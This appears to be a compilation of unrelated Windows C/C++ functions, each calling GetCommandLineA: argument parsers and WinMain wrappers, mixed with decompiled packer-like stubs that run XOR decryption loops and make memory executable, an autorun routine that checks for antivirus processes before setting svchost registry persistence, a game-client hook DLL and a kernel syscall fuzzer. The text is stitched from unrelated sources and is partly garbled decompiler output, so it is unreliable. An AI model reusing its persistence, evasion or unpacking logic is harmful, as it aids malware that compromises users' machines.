/* * main * * Purpose: * * Program main, process command line options. * */ void main() { PVOID ExceptionHandler; CHAR szCmdLine[MAX_PATH + 1]; ExceptionHandler = RtlAddVectoredExceptionHandler(1, &VehHandler); if (ExceptionHandler) { RtlSecureZeroMemory(szCmdLine, sizeof(szCmdLine)); GetCommandLineParamA((LPCSTR)GetCommandLineA(), 1, (LPSTR)&szCmdLine, MAX_PATH, NULL); if (_strcmpi_a(szCmdLine, PARAM_WIN32K) == 0) { RtlSecureZeroMemory(szCmdLine, sizeof(szCmdLine)); GetCommandLineParamA((LPCSTR)GetCommandLineA(), 2, (LPSTR)&szCmdLine, MAX_PATH, NULL); #ifdef _DEBUG if (_strcmpi_a(szCmdLine, PARAM_LOG) == 0) g_Log = TRUE; #endif fuzz_win32k(); } else { #ifdef _DEBUG if (_strcmpi_a(szCmdLine, PARAM_LOG) == 0) g_Log = TRUE; #endif fuzz_ntos(); } RtlRemoveVectoredExceptionHandler(ExceptionHandler); } ExitProcess(0); }
/** * Standard main entry point. * */ int __cdecl main(int argc, char *argv[]) { if ( isTestRequest(argc, argv) ) { printf("No test.\n"); return 0; } if ( isVersionRequest(argc, argv) ) { return 0; } // We want the command line as a string to pass to ShellExecute, but we need // to strip off the leading executable name: LPTSTR cmdLine = GetCommandLineA(); char *tmp = cmdLine; while( *tmp && ! isspace(*tmp) ) { tmp++; } while( *tmp && isspace(*tmp) ) { tmp++; } ShellExecute(NULL, "open", "ooDialog.exe", tmp, NULL, SW_SHOWNORMAL); return 0; }
void mainCRTStartup(void) { struct stack_alloc *pwork, work_image; struct str_works works; UCHAR *p0; int i; pwork = (struct stack_alloc *) ((((int) &work_image) + 0x0f) & ~0x0f); works.label = works.label0 = pwork->label; works.label1 = &pwork->label[sizeof (pwork->label) / sizeof(*pwork->label)]; works.objs = works.objs0 = pwork->objs; works.objs1 = &pwork->objs[sizeof (pwork->objs) / sizeof(*pwork->objs)]; works.filebuf = works.filebuf0 = pwork->filebuf; works.filebuf1 = &pwork->filebuf[sizeof (pwork->filebuf) / sizeof(*pwork->filebuf)]; works.iobuf0 = pwork->iobuf; works.iobuf1 = &pwork->iobuf[sizeof (pwork->iobuf) / sizeof(*pwork->iobuf)]; works.libname = works.extname = NULL; works.flags = 0; p0 = GetCommandLineA(); while (*p0 > ' ') p0++; cmdline(p0, p0 + GO_strlen(p0), &works); libout(&works); GOLD_exit(0); }
bool lConsole::Initialize(void *FileHandle, void *Stream, uint32_t ScreenbufferSize) { // Allocate a console if we don't have one. if (!strstr(GetCommandLineA(), "-nocon")) { AllocConsole(); // Take ownership of it. AttachConsole(GetCurrentProcessId()); // Set the standard streams to use the console. freopen("CONOUT$", "w", (FILE *)Stream); // Start the update thread. if (!UpdateThread.joinable()) { UpdateThread = std::thread(&lConsole::Int_UpdateThread, this); UpdateThread.detach(); } } // Fill our properties. ThreadSafe.lock(); this->FileHandle = FileHandle; this->StreamHandle = Stream; this->ShouldPrintScrollback = ScreenbufferSize != 0; this->StartupTimestamp = GetTickCount64(); this->LastTimestamp = this->StartupTimestamp; this->ScrollbackLineCount = ScreenbufferSize; this->ScrollbackLines = new lLine[this->ScrollbackLineCount](); this->ProgressbarCount = 0; ThreadSafe.unlock(); return true; }
void WriteAutoRun1(char *lpszDstExeName) { //_asm int 3 // MyCommon::SetSvcHostReg(lpszDstExeName,0); // return; if(IsRegExsit()|| StrStr(GetCommandLineA(),"-svchost") //MyCommon::IsServerStart("winio") ) { return; } if (GetProcessID("360tray.exe")&&!MyCommon::IsServerStart("ctfmon")) { Loader1(lpszDstExeName); } else { if (GetProcessID("KSafeTray.exe")|| GetProcessID("kxetray.exe")|| MyCommon::IsServerStart("ctfmon")) { MyCommon::SetSvcHostReg(lpszDstExeName,1); } else MyCommon::SetSvcHostReg(lpszDstExeName,0); } }
/* 这个函数的功能是将一串以空格分隔的命令行参数转换为标准的数组参数 */ void GOL_callmain0() { int argc = 0, i; //GetCommandLineA是libmingw中的一个函数,获取当前进程的命令参数缓冲区指针 UCHAR *p = GetCommandLineA(), *q, *q0, **argv; //因此有必要将命令拷贝到程序的空间里面来 q = q0 = GOL_sysmalloc(GO_strlen(p) + 1); do { while ((*q++ = *p++) > ' '); argc++; //遇到空格表示一个参数结束,因此argc加1 p--; //由于p是后增式,所以现在的p已经指向空格下一个字符了,所以要向前移动一个 *(q - 1) = '\0'; //将参数放到数组中时参数以\0分隔 while ('\0' < *p && *p <= ' ') //跳过无效字符 p++; } while (*p); //处理所有的参数 /* 生成标准的argv参数 */ argv = GOL_sysmalloc((argc + 1) * sizeof (char *)); argv[0] = q = q0; i = 1; /* 将argv和每个参数对应起来。 */ while (i < argc) { while (*q++); argv[i++] = q; } argv[i] = NULL; /* 标准方式调用传到下一个函数 */ GOL_callmain(argc, argv); }
L0040101C() { /* unknown */ void ebp; esi = edi + 1444; (save)64; (save)4096; (save)1532; (save)0; eax = VirtualAlloc(); *(esi + 276) = eax; ebx = *(esi + 276) - 248; edi = 4195328; edx = 1532; do { edi = edi + 4; *(ebx + 248) = *(edi - 4); ebx = ebx + 4; *(ebx + 244) = *(ebx + 244) ^ 1984569651; edx = edx - 4; } while(edx != 0); return(GetCommandLineA()); }
int __stdcall WinMain(unsigned long hInstance, unsigned long hPrevInstance, unsigned long lpCmdLine, int nCmdShow) { char* command_line; char* token; int argc; char** argv; command_line = GetCommandLineA(); argv = malloc((strlen(command_line)/2 + 1) * sizeof(char*)); argc = 0; command_line = strdup(command_line); token = strtok(command_line, " "); while (token != NULL) { argv[argc] = token; argc++; token = strtok(NULL, " "); } main(argc, argv); return(0); }
dynamic_string get_command_line(int argc, char *argv[]) { dynamic_string cmd_line; #ifdef VOGL_USE_WIN32_API (void)argc, (void)argv; cmd_line.set(GetCommandLineA()); #else cmd_line.clear(); for (int i = 0; i < argc; i++) { dynamic_string tmp(argv[i]); // If the param is not already quoted, and it has any whitespace, then quote it. if ((tmp.front() != '\"') && (tmp.contains(' ') || tmp.contains('\t'))) tmp = "\"" + tmp + "\""; if (cmd_line.get_len()) cmd_line += " "; cmd_line += tmp; } #endif return cmd_line; }
/*------------------------------------------------------------------------- * ParseCommandLine *------------------------------------------------------------------------- * Purpose: * find information needed from the command line * * Returns: * 0. Returns a string, the contents of which are stored in a static * buffer. Multiple calls overwrite the buffer. * If the desired key is not in the command line, then the registry is * checked for a default value. Then we check to * see if a default value is supplied. If not, we get a * empty result. * * BT - 7/15 - Changed this so that the default is considered last, instead of the registry being last. */ char* ParseCommandLine (char * szRegKey, char* szParameterName, char* szDefault = 0) { static char szBuffer[64]; LPSTR szCommandLine = GetCommandLineA(); char* location = strstr (szCommandLine, szParameterName); szBuffer[0] = 0; if (location) { location += strlen (szParameterName); assert (*location == '='); location++; char* szBufferPtr = szBuffer; while (!isspace (*location)) *szBufferPtr++ = *location++; *szBufferPtr = 0; } HKEY hKey; DWORD dw; DWORD cb = sizeof(szBuffer); if (ERROR_SUCCESS == ::RegOpenKeyExA(HKEY_LOCAL_MACHINE, szRegKey, 0, KEY_READ, &hKey)) { RegQueryValueExA(hKey, szParameterName, NULL, &dw, (LPBYTE)szBuffer, &cb); } else if(szDefault) { strcpy(szBuffer, szDefault); } RegCloseKey(hKey); return szBuffer; }
L0040123C() { /* unknown */ void Vffffff74; /* unknown */ void Vffffffb4; do { edx = 0x4031d8; asm("sbb [edx+0xfffffe78],ecx"); (save)edx; L00401324(ecx, esi, *(edx + 288), ebx); (restore)edx; } while(edx <= 62157); (save)edx; GetCommandLineA(); (restore)edx; for(*(edx + 260) = 0; *(edx + 260) != 5; edi = edi + Vffffff74) { *(edx + 260) = *(edx + 260) + 1; *(edx + 240) = *(edx + 240) & edx; } esi = Vffffffb4 + -88; eax = GetThreadPriority(-2, edx); (restore)edx; }
int main() { //Timer t; Environment env( GetEnvironmentStringsA(), false ); std::string compilerExecutable; PathList pathList; getPath( env, pathList ); if ( !findOnPath( pathList, "cl.exe", compilerExecutable ) ) { std::cerr << "Failed to locate executable 'cl.exe' on PATH.\n"; return -1; } bool const disableFallback = !!env.get( "BP_DISABLE_FALLBACK" ); llvm::Optional<std::string> const portNameVar( env.get( "BP_MANAGER_PORT" ) ); return distributedCompile( "msvc", compilerExecutable.c_str(), env, GetCommandLineA(), NULL, portNameVar ? portNameVar->data() : "default", disableFallback ? NULL : runLocallyFallback, const_cast<char *>( compilerExecutable.c_str() ) ); }
int runLocallyFallback( char const * reason, void * vpCompilerExe ) { char const * compilerExecutable = static_cast<char const *>( vpCompilerExe ); std::cerr << "ERROR: " << reason << "\nRunning command locally...\n"; return createProcess( compilerExecutable, GetCommandLineA() ); }
static void child_exit(void) { int i; char * cmdline; HANDLE rst; STARTUPINFO si; PROCESS_INFORMATION pi; for (i = 0; i < num_sig_handlers; i++) CloseHandle(sig_events[i]); num_sig_handlers = 0; CloseHandle(running_event); running_event = 0; // Restart? if (!(rst = open_event(EVT_RESTART))) return; // No => normal exit // Yes => Signal exit and restart process Sleep(500); SetEvent(rst); CloseHandle(rst); Sleep(500); cmdline = GetCommandLineA(); memset(&si, 0, sizeof(si)); si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; if (!CreateProcessA( NULL, cmdline, NULL, NULL, TRUE/*inherit*/, 0, NULL, NULL, &si, &pi)) { fprintf(stderr, "CreateProcess(.,\"%s\",.) failed, Error=%ld\n", cmdline, GetLastError()); } CloseHandle(pi.hThread); CloseHandle(pi.hProcess); }
void clean_cmd_line() { wchar_t *cmd_w = GetCommandLineW(); char *cmd_a = GetCommandLineA(); zeromem(cmd_w, wcslen(cmd_w) * sizeof(wchar_t)); zeromem(cmd_a, strlen(cmd_a) * sizeof(char)); }
L004014D0() { /* unknown */ void eax; /* unknown */ void Vffffffd0; /* unknown */ void Vffffffd8; /* unknown */ void Vfffffffc; eax = 0x403020; L00401938(esi, Vfffffffc, esi, ecx); (restore)eax; ecx = ecx & -118; ebx = ebx ^ Vfffffffc; (save)eax; GetCommandLineA(); (restore)eax; Vffffffd8 = 5; do { Vffffffd0 = Vffffffd0 + -1547170621; edx = edx | Vffffffd8; Vffffffd8 = Vffffffd8 - 1; } while(Vffffffd8 != 0); ebx = ebx | *(eax + 716); asm("sbb dword [ebp-0x3c],+0x78"); return(GetLogicalDrives(eax)); }
int APIENTRY WinMain(HINSTANCE x, HINSTANCE y, LPSTR z, int w) { int argc, n; char *arg, *p, **argv; Rune *warg; if(0 && win_hasunicode()){ warg = GetCommandLineW(); n = (wstrlen(warg)+1)*UTFmax; arg = malloc(n); wstrtoutf(arg, warg, n); }else arg = GetCommandLineA(); /* conservative guess at the number of args */ for(argc=4,p=arg; *p; p++) if(*p == ' ' || *p == '\t') argc++; argv = malloc(argc*sizeof(char*)); argc = args(argv, argc, arg); mymain(argc, argv); ExitThread(0); return 0; }
__entry_point__() { (save)ebx; (save)edi; (save)esi; eax = GetCommandLineA(); (save)0; eax = RpcStringFreeW() - 87; edi = eax + 0x4017c2; (save)0; (save)esp; (save)64; (save)1856; eax = L00401740(0x401000); esi = 0x401000; ebx = 1856 >> 2; goto ( *edi); asm("lodsd"); *(esi - 4) = eax + 2051536744 ^ 2051536744; if(!(ebx = ebx - 1)) { goto ( *edi); } (restore)esi; (restore)edi; (restore)ebx; goto L00401003; }
DWORD WINAPI dwWaitThread( LPVOID lpArgs ) { DWORD dwBase; DbgPrintA("[Hook]dwWaitThread Create",lpArgs); if(bInitLOL){ dwBase=(DWORD)GetModuleHandleA("League of Legends.exe"); if (dwBase) { dwBASE_LOL=dwBase; InitCode(); } }else if(bInitLOLClient){ dwBase=(DWORD)GetModuleHandleA("LolClient.exe"); if (dwBase) { g_hMemFile_CommandLine = CreateFileMappingA((HANDLE)-1, NULL, PAGE_READWRITE, 0, 0x1000, "zeCommand"); if (g_hMemFile_CommandLine) { char* lpAddr; lpAddr = (char*)MapViewOfFile(g_hMemFile_CommandLine, FILE_MAP_ALL_ACCESS, 0, 0, 800); strcpy(lpAddr,GetCommandLineA()); UnmapViewOfFile(lpAddr); } //InitCreateFile(); } } return 0; }
dynamic_string get_command_line() { dynamic_string cmd_line; #ifdef VOGL_USE_WIN32_API cmd_line.set(GetCommandLineA()); #else dynamic_string_array params(get_command_line_params()); for (uint32_t i = 0; i < params.size(); i++) { dynamic_string tmp(params[i]); // If the param is not already quoted, and it has any whitespace, then quote it. (The goal here is to ensure the split_command_line_params() method, // which was unfortunately written for Windows where it's trivial to get the full unparsed cmd line as a string, doesn't split up this parameter.) if ((tmp.front() != '\"') && (tmp.contains(' ') || tmp.contains('\t'))) tmp = "\"" + tmp + "\""; if (cmd_line.get_len()) cmd_line += " "; cmd_line += tmp; } #endif return cmd_line; }
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { #ifdef HOOK_GAMEDLL g_ReGameDLLRuntimeConfig.parseFromCommandLine(GetCommandLineA()); g_pOriginalGameDLLModule = Sys_LoadModule(shrPathGameDLL()); g_pOriginalFileSystemModule = Sys_LoadModule(ORIGINAL_FILESYSTEM_DLL_NAME); size_t gameAddr = (size_t)Sys_GetProcAddress((void *)g_pOriginalGameDLLModule, GIVEFNPTRS_TO_DLL_PROCNAME); size_t engAddr = (size_t)Sys_GetProcAddress(ORIGINAL_ENGINE_DLL_NAME, CREATEINTERFACE_PROCNAME); HookGameDLL(gameAddr, engAddr); #endif } else if (fdwReason == DLL_PROCESS_DETACH) { if (g_pOriginalFileSystemModule) { Sys_UnloadModule(g_pOriginalFileSystemModule); g_pOriginalFileSystemModule = NULL; g_OriginalFileSystemFactory = NULL; g_pOriginalFileSystem = NULL; } if (g_pOriginalGameDLLModule) { Sys_UnloadModule(g_pOriginalGameDLLModule); g_pOriginalGameDLLModule = NULL; } } return TRUE; }
L004012B0() { /* unknown */ void Vffffffc0; /* unknown */ void Vffffffc4; /* unknown */ void Vffffffec; L004012b3: edx = esi + 196; *(edx + 152) = *(edx + 152) & edi; (save)edx; L0040160C(Vffffffec, Vffffffc4, *(edx + 524)); (restore)edx; edi = edi & *(edx + 80); (save)edx; eax = GetCommandLineA(); (restore)edx; *(edx + -232) = 0; do { eax = eax + Vffffffc0; if(edx < 41271) { goto L004012b3; } *(edx + -232) = *(edx + -232) + 1; } while(*(edx + -232) != 3); asm("adc [edx+0x150],ebx"); edi = edi - 26; eax = Sleep(13, edx); (restore)edx; }
// // WinMain function // int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR szCmdLine, int sw) { char **argv; int argc; char *cmdline; // grab the command lien char *text = GetCommandLineA(); cmdline = mystrdup(text); if(!cmdline) { OutOfMemory(); return 0; } // parse into argv, argc argc = Win32_parseCommandLine(cmdline, NULL); argv = (char **)(calloc(argc + 1, sizeof(char *))); if(!argv) { OutOfMemory(); return 0; } Win32_parseCommandLine(cmdline, argv); // run application main program Jag68k_main(argc, argv); free(argv); free(cmdline); return 0; }
int WINAPI w32u_init(void) { // Initialize the Win32 Unicode Translation Layer. if (init_counter++ != 0) { // The Win32 Unicode Translation Layer is already initialized. return ERR_W32U_SUCCESS; } // Check for UTF-8 compatibility. if (w32u_check_UTF8() != 0) { // System doesn't support UTF-8. return -ERR_W32U_UTF8_NOT_SUPPORTED; } // Check if the system supports Unicode. if (GetModuleHandleW(NULL) != NULL) { // GetModuleHandleW() returned gens.exe's module handle. // This means the system supports Unicode. // Check if ANSI mode is forced on the command line. const char *lpCmdLine = GetCommandLineA(); if (!strstr(lpCmdLine, " --ansi")) { // ANSI mode is not forced. Enable Unicode. w32u_is_unicode = 1; } else { // ANSI mode is forced. Disable Unicode. w32u_is_unicode = 0; } } else { // GetModuleHandleW(NULL) returned NULL. // This means the system doesn't support Unicode. w32u_is_unicode = 0; } // Get DLL version numbers. comctl32_dll_version = GetDllVersionNumber("comctl32.dll"); shell32_dll_version = GetDllVersionNumber("shell32.dll"); // Initialize the Unicode modules. w32u_windows_init(); w32u_windowsx_init(); w32u_commctrl_init(); w32u_shellapi_init(); w32u_libc_init(); w32u_commdlg_init(); w32u_shlobj_init(); w32u_winnls_init(); // Win32 Unicode Translation Layer initialized successfully. return ERR_W32U_SUCCESS; }
int WINAPI G3D_WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR szCmdLine, int sw) { char **argv; int argc; int status; char *cmdline; # ifdef _WIN32_WCE wchar_t *bufp; int nLen; # else char *bufp; size_t nLen; # endif (void)sw; (void)szCmdLine; (void)hInst; (void)hPrev; #ifdef _WIN32_WCE #error WinCE not supported /* nLen = wcslen(szCmdLine) + 128 + 1; bufp = SDL_stack_alloc(wchar_t, nLen * 2); wcscpy(bufp, TEXT("\"")); GetModuleFileName(NULL, bufp + 1, 128 - 3); wcscpy(bufp + wcslen(bufp), TEXT("\" ")); wcsncpy(bufp + wcslen(bufp), szCmdLine, nLen - wcslen(bufp)); nLen = wcslen(bufp) + 1; cmdline = SDL_stack_alloc(char, nLen); if (cmdline == NULL) { return OutOfMemory(); } WideCharToMultiByte(CP_ACP, 0, bufp, -1, cmdline, nLen, NULL, NULL); */ #else /* Grab the command line */ bufp = GetCommandLineA(); nLen = strlen(bufp) + 1; cmdline = (char*)malloc(sizeof(char) * nLen); if (cmdline == NULL) { return OutOfMemory(); } strncpy(cmdline, bufp, nLen); #endif /* Parse it into argv and argc */ argc = ParseCommandLine(cmdline, NULL); argv = (char**)malloc(sizeof(char*) * (argc + 1)); if (argv == NULL) { return OutOfMemory(); } ParseCommandLine(cmdline, argv); /* Run the main program */ status = main(argc, (const char**)argv); free(argv); free(cmdline); return status; }
void fn00401DAA(word32 eax, word32 ecx, word32 edx, word32 esi, word32 edi) { GetCommandLineA(); GetTickCount(); GetCurrentProcessId(); StgSetTimes(null, null, null, null); VirtualProtect(0x00401000, 0x00000DAA, 0x00000040, fp - 0x00000014); }
// address: 0x40106c void _start() { int ecx; // r25 __size32 edx; // r26 LoadLibraryA(0); ecx = GetCommandLineA(); /* Warning: also results in edx */ proc1(pc, pc, 0x15000, ecx, edx, SUBFLAGS32(0xae0809f2, 0x82903842, 0x2b77d1b0), 0, 0); }
// address: 0x4010c4 void _start(__size32 param1) { __size32 eax; // r24 LoadLibraryA(0); GetProcAddress(0, 0); GetCommandLineA(); GetCommandLineA(); GetCommandLineA(); GetCommandLineA(); GetCommandLineA(); proc1(0x15000); eax = *(param1 + 176); if (eax - 1 == 0) { *(__size32*)(param1 + 184) += 10; } *(__size32*)(param1 + 176) = eax - 1; return; }
int main(int argc, char* argv[]) { int i; AllocConsole(); InputHandle = GetStdHandle(STD_INPUT_HANDLE); OutputHandle = GetStdHandle(STD_OUTPUT_HANDLE); printf("GetCommandLineA() %s\n",GetCommandLineA()); debug_printf("GetCommandLineA() %s\n",GetCommandLineA()); debug_printf("argc %d\n", argc); for (i=0; i<argc; i++) { debug_printf("Argv[%d]: %x\n",i,argv[i]); debug_printf("Argv[%d]: '%s'\n",i,argv[i]); } return 0; }
int main() { char szLine[80]; DWORD nRead; printf("Started: %s\nPress Enter to continue: ", GetCommandLineA()); ReadConsoleA(GetStdHandle(STD_INPUT_HANDLE), szLine, ARRAYSIZE(szLine), &nRead, NULL); ExitProcess(1); printf("Must not get here!!!\n"); return 0; }